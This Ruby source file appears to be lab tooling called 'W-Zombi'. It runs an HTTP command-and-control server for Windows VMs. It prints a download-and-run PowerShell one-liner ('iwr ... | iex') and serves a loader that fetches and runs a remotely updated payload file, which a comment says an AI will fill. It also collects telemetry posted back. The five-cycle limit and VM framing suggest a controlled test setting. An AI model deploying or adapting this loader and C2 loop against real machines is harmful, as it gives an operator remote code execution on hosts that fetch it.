dtic-DIIAA/tools/w-zombi/servidor.rb

#!/usr/bin/env ruby
# frozen_string_literal: true

# W-Zombi Servidor — Servidor HTTP de inyección lateral para VMs Windows
# Uso: ruby servidor.rb [opciones]
#
# Sirve archivos del directorio payloads/ y recibe telemetría POST desde las VMs.
# El archivo payloads/activo.ps1 es el que consumirá el loop C2 de la VM.

require 'webrick'
require 'json'
require 'fileutils'

TOOL_DIR    = File.expand_path(__dir__)
PAYLOADS    = File.join(TOOL_DIR, 'payloads')
LOG_FILE    = File.join(TOOL_DIR, 'telemetria.log')
PORT        = (ARGV.find { |a| a.match?(/^\d+$/) } || 8000).to_i

# Colores ANSI
C = { reset: "\e[0m", green: "\e[32m", cyan: "\e[36m", yellow: "\e[33m", red: "\e[31m", dim: "\e[2m" }

def banner
  puts "#{C[:green]}╔══════════════════════════════════════════════════╗#{C[:reset]}"
  puts "#{C[:green]}║   🧟 W-ZOMBI Servidor — Inyección Lateral      ║#{C[:reset]}"
  puts "#{C[:green]}╚══════════════════════════════════════════════════╝#{C[:reset]}"
  puts "#{C[:cyan]}Puerto:    #{C[:yellow]}#{PORT}#{C[:reset]}"
  puts "#{C[:cyan]}Payloads:  #{C[:yellow]}#{PAYLOADS}/#{C[:reset]}"
  puts "#{C[:cyan]}Telemetría:#{C[:yellow]}#{LOG_FILE}#{C[:reset]}"
  puts "#{C[:dim]}─────────────────────────────────────────────────────#{C[:reset]}"

  # Listar payloads disponibles
  Dir.glob(File.join(PAYLOADS, '*.ps1')).sort.each do |f|
    name = File.basename(f)
    activo = name == 'activo.ps1' ? " #{C[:green]}◀ ACTIVO#{C[:reset]}" : ''
    puts "  📄 #{C[:cyan]}#{name}#{C[:reset]}#{activo}"
  end
  puts "#{C[:dim]}─────────────────────────────────────────────────────#{C[:reset]}"
  puts "#{C[:yellow]}En la VM (PowerShell Admin):#{C[:reset]}"
  puts "  #{C[:green]}iwr 10.0.10.8:#{PORT}/zombi.ps1 -useb|iex#{C[:reset]}"
  puts "#{C[:dim]}─────────────────────────────────────────────────────#{C[:reset]}"
  puts ''
end

def timestamp
  Time.now.strftime('%H:%M:%S')
end

def log_telemetry(msg)
  line = "[#{Time.now.strftime('%Y-%m-%d %H:%M:%S')}] #{msg}"
  File.open(LOG_FILE, 'a') { |f| f.puts(line) }
  puts "#{C[:cyan]}[#{timestamp}] 📡 TELEMETRÍA:#{C[:reset]} #{msg}"
end

# Crear directorio de payloads si no existe
FileUtils.mkdir_p(PAYLOADS)

# Si no hay activo.ps1, crear uno vacío señalizador
activo = File.join(PAYLOADS, 'activo.ps1')
unless File.exist?(activo)
  File.write(activo, "Write-Host 'W-Zombi: Sin payload activo. La IA lo actualizara pronto.' -ForegroundColor Yellow\n")
end

# Servidor HTTP
server = WEBrick::HTTPServer.new(
  Port: PORT,
  Logger: WEBrick::Log.new('/dev/null'),
  AccessLog: []
)

# Ruta principal: sirve el loader (zombi.ps1) dinámicamente
server.mount_proc '/zombi.ps1' do |_req, res|
  # Genera un loader que apunta al payload activo
  loader = <<~PS1
    Write-Host "======================================================" -ForegroundColor Green
    Write-Host "     ZOMBI C2 LOOP — Conectado a srv-ns8:#{PORT}       " -ForegroundColor Green
    Write-Host "======================================================" -ForegroundColor Green
    Write-Host "Max 5 ciclos. CTRL+C para detener." -ForegroundColor DarkGray
    Write-Host ""

    $maxCiclos = 5

    for ($ciclo = 1; $ciclo -le $maxCiclos; $ciclo++) {
        Write-Host "[ZOMBI] Ciclo $ciclo/$maxCiclos" -ForegroundColor DarkGray
        try {
            $payload = Invoke-RestMethod -Uri "http://10.0.10.8:#{PORT}/payloads/activo.ps1" -UseBasicParsing -ErrorAction Stop
            if ($payload -and $payload.Trim() -ne "") {
                try {
                    Invoke-Expression $payload
                } catch {
                    Write-Host ">>> ERROR EN PAYLOAD <<<" -ForegroundColor Red
                    Write-Host $_.Exception.Message -ForegroundColor Red
                }
            }
        } catch {
            Write-Host "[ZOMBI] Sin conexion al servidor." -ForegroundColor Red
        }

        if ($ciclo -lt $maxCiclos) {
            for ($i = 10; $i -gt 0; $i--) {
                Write-Host -NoNewline "`r[ZOMBI] Siguiente ciclo en $i seg "
                if ([console]::KeyAvailable) {
                    $null = $Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown")
                    Write-Host "`n[ZOMBI] Detenido por usuario." -ForegroundColor Yellow
                    return
                }
                Start-Sleep -Seconds 1
            }
            Write-Host -NoNewline "`r                                                          `r"
        }
    }

    Write-Host ""
    Write-Host "======================================================" -ForegroundColor Yellow
    Write-Host "  ZOMBI: $maxCiclos ciclos completados. Auto-detenido." -ForegroundColor Yellow
    Write-Host "======================================================" -ForegroundColor Yellow
  PS1
  res['Content-Type'] = 'text/plain'
  res.body = loader
  puts "#{C[:green]}[#{timestamp}] 🧟 Loader descargado por VM#{C[:reset]}"
end

# Servir payloads estáticos
server.mount('/payloads', WEBrick::HTTPServlet::FileHandler, PAYLOADS)

# Endpoint de telemetría (POST /log)
server.mount_proc '/log' do |req, res|
  if req.request_method == 'POST'
    body = req.body || ''
    msg = if body.include?('=')
            URI.decode_www_form(body).to_h['msg'] || body
          else
            body
          end
    log_telemetry(msg) unless msg.strip.empty?
  end
  res['Content-Type'] = 'text/plain'
  res.body = 'OK'
end

# Señal de parada limpia
trap('INT') do
  puts "\n#{C[:yellow]}[#{timestamp}] Servidor detenido.#{C[:reset]}"
  server.shutdown
end

banner
server.start